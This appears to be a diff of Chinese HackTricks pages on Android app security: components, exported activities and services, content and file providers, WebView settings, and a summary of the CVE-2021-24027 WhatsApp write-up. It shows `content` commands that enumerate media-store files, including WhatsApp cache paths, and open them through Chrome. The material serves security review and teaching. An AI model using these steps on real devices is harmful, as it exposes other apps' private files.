绑定服务是客户端-服务器接口中的服务器。**它允许组件(如活动)绑定到服务,发送请求,接收响应,并执行进程间通信**(IPC)。绑定服务通常仅在为另一个应用程序组件提供服务时才存在,并且不会无限期在后台运行。
|
||||||
|
|
||||||
### Messenger
|
### Messenger
|
||||||
|
|
||||||
Messenger是另一种IPC机制。由于**Messenger也是“绑定服务”**,因此客户端应用传递的数据也通过`onBind`方法处理。因此,代码审查应从此方法开始,并且您应该寻找对敏感功能的调用或对数据的不安全处理。
|
Messenger是另一种IPC机制。由于**Messenger也是“绑定服务”**,因此从客户端应用程序传递的数据也通过`onBind`方法进行处理。因此,代码审查应从此方法开始,并查找对敏感功能的调用或对数据的不安全处理。
|
||||||
|
|
||||||
### Binder
|
### Binder
|
||||||
|
|
||||||
直接调用Binder类是很奇怪的,因为使用AIDL(它抽象了Binder类)要容易得多。但是,了解**Binder是一个内核级驱动程序,它将数据从一个进程的内存移动到另一个进程的内存**([https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8))是有好处的。
|
直接调用Binder类很奇怪,因为使用AIDL(抽象Binder类)要容易得多。但是,了解**Binder是一个内核级驱动程序,可将数据从一个进程的内存移动到另一个进程的内存**是很有用的。
|
||||||
|
|
||||||
## 组件
|
## 组件
|
||||||
|
|
||||||
这些包括:**活动,服务,广播接收器和提供者。**
|
这些包括:**活动、服务、广播接收器和提供程序**。
|
||||||
|
|
||||||
### 启动器活动和其他活动
|
### 启动器活动和其他活动
|
||||||
|
|
||||||
**Android活动**是**Android**应用用户界面的一个屏幕。这样,**Android活动**与桌面应用程序中的窗口非常相似。一个**Android**应用可能包含一个或多个活动,即一个或多个屏幕。
|
**Android活动**是**Android**应用程序用户界面的一个屏幕。从这个角度看,**Android活动**与桌面应用程序中的窗口非常相似。一个**Android**应用程序可能包含一个或多个活动,意味着一个或多个屏幕。
|
||||||
|
|
||||||
**启动器活动**是大多数人认为的Android应用程序的**入口点**。启动器活动是用户点击应用程序图标时启动的活动。您可以通过查看应用程序的清单来确定启动器活动。启动器活动将列出以下MAIN和LAUNCHER意图。
|
**启动器活动**是大多数人认为是Android应用程序的**入口点**。启动器活动是用户单击应用程序图标时启动的活动。您可以通过查看应用程序清单来确定启动器活动。启动器活动将列出以下MAIN和LAUNCHER意图。
|
||||||
|
|
||||||
请记住,并非每个应用程序都会有启动器活动,特别是没有UI的应用程序。没有UI(因此没有启动器活动)的应用程序示例包括在后台执行服务的预安装应用程序,例如语音邮件。
|
请记住,并非每个应用程序都会有启动器活动,特别是没有UI的应用程序。没有UI的应用程序示例(因此没有启动器活动)包括在后台执行服务的预安装应用程序,例如语音邮件。
|
||||||
```markup
|
```markup
|
||||||
<activity android:name=".LauncherActivity">
|
<activity android:name=".LauncherActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -284,87 +238,86 @@ Messenger是另一种IPC机制。由于**Messenger也是“绑定服务”**,
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
Activities 可以被导出,允许设备上的其他进程启动该 activity。默认情况下,它们不会被导出,但你可以通过设置来导出它们:
|
活动可以被导出,允许设备上的其他进程启动该活动。默认情况下,它们不会被导出,但您可以通过设置来导出它们:
|
||||||
```markup
|
```markup
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
请注意,**绕过活动保护并不总是一个漏洞**,您需要检查您获得了哪些数据的访问权限。\
|
请注意,**绕过活动保护并不总是漏洞**,您需要检查您已访问的数据。\
|
||||||
此外,**有些活动会向调用者返回数据**。在这些情况下,您需要搜索 **`setResult`** 方法并检查传递给 Intent 参数的数据。**如果是敏感数据,您可能有一个信息泄露漏洞**,并且可以通过能够与活动通信的应用程序来利用它。
|
此外,**某些活动会将数据返回给调用者**。在这些情况下,您需要搜索**`setResult`**方法并检查传递到Intent参数的数据。**如果这是敏感数据,则可能存在信息泄露漏洞**,并且可以利用具有与活动通信能力的应用程序。
|
||||||
|
|
||||||
**一个活动的代码从 `onCreate` 方法开始。**
|
**活动的代码始于`onCreate`方法。**
|
||||||
|
|
||||||
### 应用子类
|
### 应用程序子类
|
||||||
|
|
||||||
Android 应用程序可以定义 [Application](https://developer.android.com/reference/android/app/Application) 的**子类**。应用程序可以定义,也可以不定义 Application 的自定义子类。如果 Android 应用程序定义了 Application 子类,**这个类会在应用程序中的任何其他类之前实例化**。
|
Android 应用程序可以定义[Application](https://developer.android.com/reference/android/app/Application)的**子类**。应用程序可以定义自定义的 Application 子类,但不一定要这样做。如果 Android 应用程序定义了 Application 子类,则**此类在应用程序中的任何其他类之前实例化**。
|
||||||
|
|
||||||
如果在 Application 子类中定义了 **`attachBaseContext`** 方法,它将在 **`onCreate`** 方法之前首先被调用。
|
如果在 Application 子类中定义了**`attachBaseContext`**方法,则会首先调用它,然后才调用**`onCreate`**方法。
|
||||||
|
|
||||||
### 服务
|
### 服务
|
||||||
|
|
||||||
[服务](https://developer.android.com/guide/components/services) **在没有用户界面的情况下在后台运行。** 它们用于执行**长时间运行的进程,即使用户开始使用其他应用程序**。
|
[服务](https://developer.android.com/guide/components/services) **在后台运行,没有用户界面**。它们用于执行**长时间运行的进程,即使用户开始使用不同的应用程序**。
|
||||||
|
|
||||||
它们可以通过多种方式启动,因此是应用程序的入口点。服务作为应用程序入口点的默认启动方式是通过 **Intents**。
|
它们可以以多种方式启动,因此是应用程序的入口点。启动服务作为应用程序的入口点的默认方式是通过**意图**。
|
||||||
|
|
||||||
当调用 **`startService`** 方法启动服务时,服务中的 **`onStart`** 方法将被执行。它将无限期运行,直到调用 **`stopService`** 方法。如果只有在客户端连接时才需要服务,客户端应该使用 **`bindService`** 方法“绑定”到它。
|
当调用**`startService`**方法启动服务时,服务中的**`onStart`**方法将被执行。它将一直运行,直到调用**`stopService`**方法。如果服务只在客户端连接时需要,则客户端应使用**`bindService`**方法“绑定”到它。
|
||||||
|
|
||||||
对于**绑定服务**(见前一节),数据将传递给 **`onBind`** 方法。
|
对于**绑定服务**(请参阅上一节),数据将传递给**`onBind`**方法。
|
||||||
|
|
||||||
例如,服务可能在用户使用其他应用程序时在后台播放音乐,或者在不阻塞用户与活动交互的情况下通过网络获取数据。
|
例如,服务可能在用户使用不同应用程序时在后台播放音乐,或者在不阻止用户与活动交互的情况下通过网络获取数据。
|
||||||
|
|
||||||
**服务可以被导出,允许设备上的其他进程启动服务**。默认情况下服务不会被导出,但可以在 Manifest 中配置:
|
**服务可以被导出,允许设备上的其他进程启动服务**。默认情况下,服务不会被导出,但可以在清单中进行配置:
|
||||||
```markup
|
```markup
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
### 广播接收器
|
### 广播接收器
|
||||||
|
|
||||||
广播可以被认为是一种消息系统,**广播接收器是监听者**。如果一个应用程序为特定的广播注册了接收器,当系统发送广播时,接收器中的代码就会被执行。注意,在这种情况下**多个应用程序可以接收到相同的消息**。
|
广播可以被视为一种消息系统,**广播接收器是监听器**。如果一个应用程序已经为特定广播注册了一个接收器,当系统发送广播时,该接收器中的代码将被执行。请注意,在这种情况下,**多个应用程序可以接收相同的消息**。
|
||||||
|
|
||||||
有**两种方式**可以让应用程序**注册接收器**:在**应用程序的Manifest中注册**或在应用程序的代码中使用**`registerReceiver`** API调用**动态注册**。在manifest中,你可以通过在接收器元素内使用权限来限制你接受的广播。当**动态**定义时,你可以**将权限传递给`registerReceiver`方法**。
|
应用程序可以通过**两种方式注册接收器**:在**应用程序清单中注册**或在应用程序代码中使用**`registerReceiver`** API调用**动态注册**。在清单中,您可以通过在接收器元素中使用权限来限制您接受的广播。在**动态**定义时,您可以**将权限传递给`registerReceiver`方法**。
|
||||||
|
|
||||||
在这两种情况下,为了注册接收器,都需要设置**接收器的意图过滤器**。这些意图过滤器是应该触发接收器的广播。
|
在这两种情况下,要注册接收器,需要设置接收器的**意图过滤器**。这些意图过滤器是应该触发接收器的广播。
|
||||||
|
|
||||||
当注册的接收器的特定广播被发送时,BroadcastReceiver类中的**`onReceive`** 方法会被**执行**。
|
当发送接收器已注册的特定广播时,将执行**BroadcastReceiver类中的`onReceive`**。
|
||||||
|
|
||||||
例如,一个应用程序可能会为低电量消息注册一个接收器,并根据该信息改变其行为。
|
例如,应用程序可以为低电量消息注册一个接收器,并根据该信息更改其行为。
|
||||||
|
|
||||||
广播可以是**异步的**(每个接收器都接收到它)或**同步的**(根据设置的优先级,广播以有序的方式接收)。
|
广播可以是**异步**的(每个接收器都会接收到)或**同步**的(广播按照设置的优先级有序接收)。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**注意,任何应用程序都可以将自己设置为接收广播的最高优先级。**
|
**请注意,任何应用程序都可以将自己设置为接收广播的最高优先级。**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
要**检查**实现在广播接收器中的**代码**,你需要搜索接收器类中的**`onReceive`** 方法。\
|
要**检查**广播接收器中实现的**代码**,您需要搜索接收器类的**`onReceive`**方法。请注意,**有序广播可能会丢弃接收到的Intent,甚至使用其中一个setter方法修改它**。因此,**接收器应该验证数据**。
|
||||||
注意,**有序广播可以丢弃收到的Intent,甚至可以使用其中的一个设置方法对其进行修改**。因此,**接收器应该验证数据**。
|
|
||||||
|
|
||||||
### 内容提供者
|
### 内容提供者
|
||||||
|
|
||||||
内容提供者是**应用程序共享结构化数据**的方式,例如关系型数据库。因此,使用**权限**并设置适当的保护级别来保护它们非常重要。\
|
内容提供者是应用程序共享结构化数据的方式,例如关系数据库。因此,使用**权限**并设置适当的保护级别来保护它们非常重要。\
|
||||||
内容提供者可以使用**`readPermission`** 和 **`writePermission`** 属性来指定应用程序必须拥有的权限。**这些权限优先于permission属性**。\
|
内容提供者可以使用**`readPermission`**和**`writePermission`**属性来指定应用程序必须具有的权限。**这些权限优先于权限属性**。\
|
||||||
此外,它们还可以通过将**`grantUriPermission`** 设置为true,并在manifest文件中的provider元素内配置适当的参数,来**允许临时例外**。
|
此外,它们还可以通过将**`grantUriPermission`**设置为true,然后在清单文件中的提供者元素内部的**`grant-uri-permission`**元素中配置适当的参数来**允许临时例外**。
|
||||||
|
|
||||||
**`grant-uri-permission`** 有三个属性:path、pathPrefix 和 pathPattern:
|
**`grant-uri-permission`**有三个属性:path、pathPrefix和pathPattern:
|
||||||
|
|
||||||
* **path**:允许指定整个路径以排除
|
* **path**:允许指定要排除的整个路径
|
||||||
* **pathPrefix**:允许指定路径的开始部分
|
* **pathPrefix**:允许指定路径的开头
|
||||||
* **pathPattern**:允许使用通配符和符号替换来获得更细粒度的控制。
|
* **pathPattern**:允许使用通配符和符号替换以获得更精细的控制。
|
||||||
|
|
||||||
**验证和清理接收到的输入非常重要**,以避免潜在的漏洞,如SQL注入。
|
**重要的是验证和清理接收到的输入**,以避免潜在的漏洞,如SQL注入。
|
||||||
|
|
||||||
**内容提供者特点:**
|
**内容提供者特点:**
|
||||||
|
|
||||||
* 内容提供者组件根据请求从一个应用程序向其他应用程序提供数据。
|
* 内容提供者组件根据请求从一个应用程序向其他应用程序提供数据。
|
||||||
* 你可以将数据存储在文件系统、SQLite数据库、网络上,或者你的应用程序可以访问的任何其他持久存储位置。
|
* 您可以将数据存储在文件系统、SQLite数据库、网络上或应用程序可以访问的任何其他持久存储位置。
|
||||||
* 通过内容提供者,其他应用程序可以查询甚至修改数据(如果内容提供者允许的话)。
|
* 通过内容提供者,其他应用程序可以查询或甚至修改数据(如果内容提供者允许)。
|
||||||
* 内容提供者在应用程序想要与另一个应用程序共享数据时非常有用。
|
* 内容提供者在应用程序希望与另一个应用程序共享数据的情况下非常有用。
|
||||||
* 它与数据库非常相似,有四种方法。
|
* 它与数据库非常相似,并具有四种方法。
|
||||||
* insert()
|
* insert()
|
||||||
* update()
|
* update()
|
||||||
* delete()
|
* delete()
|
||||||
* query()
|
* query()
|
||||||
|
|
||||||
**文件提供者**
|
**FileProvider**
|
||||||
|
|
||||||
这是一种内容提供者,它将**共享**来自文件夹的文件。你可以这样声明一个文件提供者:
|
这是一种将**文件**从文件夹共享的内容提供者类型。您可以像这样声明一个文件提供者:
|
||||||
```markup
|
```markup
|
||||||
<provider android:name="androidx.core.content.FileProvider"
|
<provider android:name="androidx.core.content.FileProvider"
|
||||||
android:authorities="com.example.myapp.fileprovider"
|
android:authorities="com.example.myapp.fileprovider"
|
||||||
|
@ -374,88 +327,72 @@ android:name="android.support.FILE_PROVIDER_PATHS"
|
||||||
android:resource="@xml/filepaths" />
|
android:resource="@xml/filepaths" />
|
||||||
</provider>
|
</provider>
|
||||||
```
|
```
|
||||||
注意 **`android:exported`** 属性,因为如果它是 **`true`**,外部应用程序将能够访问共享文件夹。\
|
注意**`android:exported`**属性,因为如果它是**`true`**,外部应用程序将能够访问共享文件夹。\
|
||||||
注意配置 `android:resource="@xml/filepaths"` 表示文件 _res/xml/filepaths.xml_ 包含配置,指出 **FileProvider** 将要**共享**的**哪些文件夹**。这是一个示例,展示如何在该文件中指示共享一个文件夹:
|
请注意,配置`android:resource="@xml/filepaths"`表示文件_res/xml/filepaths.xml_包含**FileProvider**将要**共享**的**文件夹**的配置。这是如何指示在该文件中共享一个文件夹的示例:
|
||||||
```markup
|
```markup
|
||||||
<paths>
|
<paths>
|
||||||
<files-path path="images/" name="myimages" />
|
<files-path path="images/" name="myimages" />
|
||||||
</paths>
|
</paths>
|
||||||
```
|
```
|
||||||
```markdown
|
共享类似 **`path="."`** 这样的内容可能是**危险**的,即使提供者没有被导出,如果代码的某个部分存在其他漏洞尝试访问该提供者。\
|
||||||
分享类似 **`path="."`** 的内容即使提供者没有导出,如果代码的其他部分存在尝试访问此提供者的漏洞,也可能是**危险的**。
|
您可以使用 `content://com.example.myapp.fileprovider/myimages/default_image.jpg` 访问该文件夹内的**图像**。
|
||||||
您可以使用 `content://com.example.myapp.fileprovider/myimages/default_image.jpg` **访问**文件夹内的**图片**。
|
|
||||||
|
|
||||||
`<paths>` 元素可以有多个子元素,每个子元素指定要共享的不同目录。除了 **`<files-path>`** 元素,您还可以使用 **`<external-path>`** 元素共享**外部存储**中的目录,以及 **`<cache-path>`** 元素共享您的**内部缓存目录**中的目录。
|
`<paths>` 元素可以有多个子元素,每个子元素指定要共享的不同目录。除了 **`<files-path>`** 元素外,您还可以使用 **`<external-path>`** 元素共享**外部存储**中的目录,以及使用 **`<cache-path>`** 元素共享**内部缓存目录**中的目录。\
|
||||||
[有关特定文件提供者属性的更多信息,请点击这里。](https://developer.android.com/reference/androidx/core/content/FileProvider)
|
[有关特定文件提供者属性的更多信息,请访问此处。](https://developer.android.com/reference/androidx/core/content/FileProvider)
|
||||||
|
|
||||||
[关于FileProviders的更多信息在这里](https://developer.android.com/training/secure-file-sharing/setup-sharing)。
|
[有关 FileProviders 的更多信息,请点击这里](https://developer.android.com/training/secure-file-sharing/setup-sharing).
|
||||||
|
|
||||||
## WebViews
|
## WebViews
|
||||||
|
|
||||||
WebViews 实际上是嵌入到 Android 应用中的**网络浏览器**。
|
WebViews 实际上是嵌入到 Android 应用程序中的**Web浏览器**。\
|
||||||
WebViews 的内容可以从远程站点拉取,也可以是应用中包含的文件。
|
WebViews 的内容可以从远程站点获取,也可以是包含在应用程序中的文件。\
|
||||||
WebViews **容易受到影响任何网络浏览器的同样漏洞**。然而,有一些**配置**可以用来**限制**攻击**面**。
|
WebViews **容易受到影响任何 Web 浏览器的相同漏洞**。但是,有一些**配置**可以有助于**限制** **攻击** **面**。
|
||||||
|
|
||||||
Android 中有两种类型的 WebViews:
|
Android 中有两种类型的 WebViews:
|
||||||
|
|
||||||
* **WebViewClient**,最适合简单HTML渲染。这不会运行 JS alert 函数。因此,使用该函数的 XSS 测试将无效。
|
* **WebViewClient**,最适合简单的 HTML 渲染。这不会运行 JS 警报功能。因此,使用该功能进行 XSS 测试将无效。
|
||||||
* **WebChrome** **client**,是一个 Chrome 浏览器。
|
* **WebChrome** **client**,是 Chrome 浏览器。
|
||||||
|
|
||||||
请注意,**WebView 浏览器无法访问原生浏览器的 cookies**。
|
请注意,**WebView 浏览器无法访问本机浏览器的 Cookie**。
|
||||||
|
|
||||||
要加载 URL 或文件,可以使用 **`loadUrl`**、**`loadData`** 或 **`loadDataWithBaseURL`** 函数。**重要的是只访问经过消毒的 URL。**
|
要加载 URL 或文件,可以使用 **`loadUrl`**、**`loadData`** 或 **`loadDataWithBaseURL`** 函数。**只能访问经过消毒的 URL 是很重要的。**\
|
||||||
WebView 安全性可以通过 **`WebSettings`** 对象进行配置。
|
可以通过 **`WebSettings`** 对象配置 WebView 安全性。\
|
||||||
例如,可以使用 **`setJavaScriptEnabled`** 方法并将值设置为 **`false`** 来禁用 JS 代码执行。这将**移除** **XSS** 和其他与 JS 相关的漏洞的可能性。
|
例如,可以使用 **`setJavaScriptEnabled`** 方法将 JS 代码执行禁用为 **`false`** 值。这将**消除** **XSS** 和其他与 JS 相关的漏洞的可能性。
|
||||||
|
|
||||||
JavaScript "**Bridge**" 功能**将 Java 对象注入 WebView,使它们可以被 JS 访问**。从 Android 4.2 开始,方法必须用 **`@JavascriptInterface`** 注解才能被 JavaScript 访问。
|
JavaScript "**Bridge**" 功能**将 Java 对象注入到 WebView 中,使其可供 JS 访问**。从 Android 4.2 开始,必须使用 **`@JavascriptInterface`** 对方法进行注释,以便让 JavaScript 访问。
|
||||||
|
|
||||||
如果对 **`setAllowContentAccess`** 传递 **`true`**,**WebViews 将能够通过** **`content://`** 方案访问内容提供者**。这显然构成了安全风险。请注意,如果授予此访问权限,非常重要的是要**确保** **`content://`** URL 是**安全的**。
|
如果将 **`true`** 传递给 **`setAllowContentAccess`**,**WebViews 将能够通过 `content://` 方案访问内容提供者**。这显然存在安全风险。请注意,如果授予此访问权限,非常重要的是**确保** **`content://`** URL 是**安全的**。
|
||||||
|
|
||||||
默认情况下,WebViews 可以通过 file:// URLs 访问本地文件,但有几种方法可以防止这种行为:
|
默认情况下,WebViews 可以通过 file:// URL 访问本地文件,但有几种方法可以防止这种行为:
|
||||||
|
|
||||||
* 对 **`setAllowFileAccess`** 传递 **`false`**,可以防止访问文件系统,但可以通过 `file:///android_asset` _和_ `file:///android_res` 访问资产。这些路径应仅用于非敏感数据(如图像),因此应该是安全的。
|
* 将 **`false`** 传递给 **`setAllowFileAccess`**,可以防止访问文件系统,但可以通过 `file:///android_asset` _和_ `file:///android_res` 访问资源。这些路径应仅用于非敏感数据(如图像),因此这应该是安全的。
|
||||||
* 方法 **`setAllowFileAccess`** 指示是否应允许来自 `file://` URL 的路径访问其他文件方案 URL 的内容。
|
* **`setAllowFileAccess`** 方法指示是否应该允许来自 `file://` URL 的路径访问其他文件方案 URL 的内容。
|
||||||
* 方法 **`setAllowUniversalAccessFromFileURLs`** 指示是否应允许来自 `file://` URL 的路径访问任何来源的内容。
|
* **`setAllowUniversalAccessFromFileURLs`** 方法指示是否应该允许来自 `file://` URL 的路径访问任何来源的内容。
|
||||||
|
|
||||||
## 其他应用组件
|
## 其他应用程序组件
|
||||||
|
|
||||||
### **应用签名**
|
### **应用程序签名**
|
||||||
|
|
||||||
* Android 要求在安装之前,**所有应用都必须用证书进行数字签名**。Android 使用这个证书来识别应用的作者。
|
* Android 要求在应用程序安装之前必须使用证书对**所有应用程序进行数字签名**。Android 使用此证书来识别应用程序的作者。
|
||||||
* 要在设备上运行应用程序,它应该被签名。当应用程序安装到设备上时,**包管理器验证**是否已经使用 apk 文件中的证书正确签名。
|
* 要在设备上运行应用程序,应用程序应该被签名。当应用程序安装到设备上时,**包管理器会验证**应用程序是否已使用 apk 文件中的证书正确签名。
|
||||||
* 应用程序可以自签名,也可以通过 CA 签名。
|
* 应用程序可以是自签名的,也可以通过 CA 签名。
|
||||||
* 应用签名确保一个应用程序不能访问其他应用程序,除非通过定义良好的 IPC,并且确保它未经修改地传递到设备。
|
* 应用程序签名确保一个应用程序不能访问任何其他应用程序,除非通过明确定义的 IPC,并且还要确保应用程序未经修改地传递到设备上。
|
||||||
|
|
||||||
### **应用验证**
|
### **应用程序验证**
|
||||||
|
|
||||||
* Android 4.2 及更高版本支持应用验证。用户可以选择启用“验证应用程序”,并在安装之前由应用验证器评估应用程序。
|
* Android 4.2 及更高版本支持应用程序验证。用户可以选择启用“验证应用程序”,并在安装之前由应用程序验证器评估应用程序。
|
||||||
* 如果用户尝试安装可能有害的应用程序,应用验证可以提醒用户;如果应用程序特别糟糕,它可以阻止安装。
|
* 应用程序验证可以在用户尝试安装可能有害的应用程序时向用户发出警报;如果应用程序特别糟糕,它可以阻止安装。
|
||||||
|
|
||||||
## 移动设备管理
|
## 移动设备管理
|
||||||
|
|
||||||
MDM 或移动设备管理是用于**确保对移动设备的控制和安全要求**的软件套件。这些套件使用称为设备管理 API 的功能,并要求安装 Android 应用程序。
|
MDM 或移动设备管理是用于在移动设备上**确保控制和安全要求**的软件套件。这些套件使用称为设备管理 API 的功能,并要求安装 Android 应用程序。
|
||||||
|
|
||||||
通常,MDM 解决方案执行的功能包括强制执行密码策略、强制加密存储和启用远程擦除设备数据。
|
通常,MDM 解决方案执行诸如强制执行密码策略、强制加密存储和启用远程擦除设备数据等功能。
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
找到对您最重要的漏洞,以便更快修复。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术堆栈中找到问题,从 API 到网络应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
找到最重要的漏洞,以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
|
||||||
|
|
||||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
```
|
|
||||||
|
|
|
@ -1,78 +1,65 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
要试验内容提供者,可以在Android设备上使用`content`命令。不一定需要根访问权限。例如,要查看由媒体存储管理的文件列表,可以执行以下命令:
|
**这是一篇文章的摘要 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||||
|
|
||||||
|
### 在媒体存储中列出文件
|
||||||
|
要列出由媒体存储管理的文件,可以使用以下命令:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file
|
$ content query --uri content://media/external/file
|
||||||
```
|
```
|
||||||
为了使输出更加人性化,可以将显示的列限制为每个索引文件的标识符和路径。
|
为了获得更加人性化的输出,仅显示每个索引文件的标识符和路径:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file --projection _id,_data
|
$ content query --uri content://media/external/file --projection _id,_data
|
||||||
```
|
```
|
||||||
媒体提供者存在于它们自己的私有命名空间中。如上例所示,要访问内容提供者,应指定相应的`content://` URI。通常,可以通过查看应用程序清单(如果内容提供者由应用程序导出)或Android框架的源代码来恢复可以访问提供者的路径信息。
|
### 内容提供程序
|
||||||
|
|
||||||
有趣的是,在Android设备上,Chrome支持通过`content://`方案访问内容提供者。此功能允许浏览器访问由第三方应用程序导出的资源(例如照片、文档等)。为了验证这一点,可以在媒体存储中插入一个自定义条目,然后使用浏览器访问它:
|
内容提供程序被隔离在它们自己的私有命名空间中。访问提供程序需要特定的 `content://` URI。可以从应用程序清单或Android框架的源代码中获取访问提供程序的路径信息。
|
||||||
|
|
||||||
|
### Chrome 访问内容提供程序
|
||||||
|
|
||||||
|
Android 上的 Chrome 可以通过 `content://` 方案访问内容提供程序,从而可以访问第三方应用程序导出的照片或文档等资源。为了说明这一点,可以将文件插入到媒体存储中,然后通过 Chrome 访问:
|
||||||
```bash
|
```bash
|
||||||
$ cd /sdcard
|
cd /sdcard
|
||||||
$ echo "Hello, world!" > test.txt
|
echo "Hello, world!" > test.txt
|
||||||
$ content insert --uri content://media/external/file \
|
content insert --uri content://media/external/file \
|
||||||
--bind _data:s:/storage/emulated/0/test.txt \
|
--bind _data:s:/storage/emulated/0/test.txt \
|
||||||
--bind mime_type:s:text/plain
|
--bind mime_type:s:text/plain
|
||||||
```
|
```
|
||||||
要发现新插入文件的标识符:
|
发现新插入文件的标识符:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file \
|
content query --uri content://media/external/file \
|
||||||
--projection _id,_data | grep test.txt
|
--projection _id,_data | grep test.txt
|
||||||
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||||
```
|
```
|
||||||
```markdown
|
文件可以通过使用构建的带有文件标识符的URL在Chrome中查看。
|
||||||
要在Chrome中查看文件,可以使用如下图所示的URL。请注意文件标识符747(如上所发现),它被用作URL的后缀。
|
|
||||||
|
|
||||||
![Chrome "你好,世界!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png)
|
例如,要列出与特定应用程序相关的文件:
|
||||||
|
|
||||||
例如,您可以列出与WhatsApp相关的所有文件:
|
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
|
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||||||
...
|
|
||||||
|
|
||||||
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
|
|
||||||
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
|
|
||||||
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
|
|
||||||
